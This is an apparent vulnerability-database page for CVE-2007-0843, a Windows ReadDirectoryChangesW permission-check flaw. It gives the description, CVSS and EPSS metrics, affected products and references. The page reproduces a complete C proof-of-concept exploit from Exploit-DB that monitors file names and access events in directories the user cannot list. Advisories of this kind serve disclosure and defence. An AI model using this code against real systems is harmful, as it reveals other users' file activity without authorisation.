CVE-2007-0843 : Detail

CVE-2007-0843

A01-Broken Access Control
0.05%V3
Local
2007-02-22 23:00 +00:00
2021-08-09 13:06 +00:00

Alert for a CVE

Stay informed of any changes for a specific CVE.
Alert management

Descriptions

The ReadDirectoryChangesW API function on Microsoft Windows 2000, XP, Server 2003, and Vista does not check permissions for child objects, which allows local users to bypass permissions by opening a directory with LIST (READ) access and using ReadDirectoryChangesW to monitor changes of files that do not have LIST permissions, which can be leveraged to determine filenames, access times, and other sensitive information.

Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metric Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 29630

Publication date : 2007-02-21 23:00 +00:00
Author : 3APA3A
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/22664/info Microsoft Windows is prone to a local information-disclosure vulnerability. A local attacker may leverage this issue to gain access to potentially sensitive information about user permissions and accessed files. Information gained may aid in further attacks against the affected computer. /* Monitors directory changes (c) 2006-2007 Vladimir Dubrovin, 3APA3A http://securityvulns.com/ http://securityvulns.ru/ */ #include #include #include int main(int argc, char *argv[]){ HANDLE hDir; char buf[1024]; FILE_NOTIFY_INFORMATION * fn; int read; WCHAR * action = NULL; if(argc != 2) { printf( "Usage: %s \n" " Monitor directory changes with all subdirectories\n" " For any files, including ones you have no access\n" " (as on January, 2007)\n" "(c) Vladimir Dubrovin, 3APA3A\n" " http://securityvulns.com\n" " http://securityvulns.ru\n" "This approach is not reliable and should not be used for audit and another critical operations.\n", argv[0]); return 1; } CreateDirectory(argv[1], 0); hDir = CreateFile( argv[1], FILE_LIST_DIRECTORY, FILE_SHARE_READ|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL ); if(hDir == INVALID_HANDLE_VALUE){ fprintf(stdout, "Failed to open dir\n"); return 2; } for(;;){ if(!ReadDirectoryChangesW( hDir, buf, 1022, 1, FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS | FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE | FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_SECURITY , (DWORD *)&read, NULL, NULL )) { fprintf(stderr, "Failed to read directory changes\n"); break; } for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){ fn->FileName[fn->FileNameLength/2] = 0; switch(fn->Action){ case FILE_ACTION_ADDED: action = L"added"; break; case FILE_ACTION_REMOVED: action = L"removed"; break; case FILE_ACTION_MODIFIED: action = L"accessed/modified"; break; case FILE_ACTION_RENAMED_OLD_NAME: action = L"renamed (old name)"; break; case FILE_ACTION_RENAMED_NEW_NAME: action = L"renamed (new name)"; break; default: action = L"(unknown)"; } wprintf(L"File %s: %s\n", action, fn->FileName); if(!fn->NextEntryOffset) break; fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset); } } return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version *

    References

    http://www.securityfocus.com/bid/22664
    Tags : vdb-entry, x_refsource_BID
    http://secunia.com/advisories/24245
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.vupen.com/english/advisories/2007/0701
    Tags : vdb-entry, x_refsource_VUPEN
    http://osvdb.org/33474
    Tags : vdb-entry, x_refsource_OSVDB
    http://securityreason.com/securityalert/2282
    Tags : third-party-advisory, x_refsource_SREASON
    Click on the button to the left (OFF), to authorize the inscription of cookie improving the functionalities of the site. Click on the button to the left (Accept all), to unauthorize the inscription of cookie improving the functionalities of the site.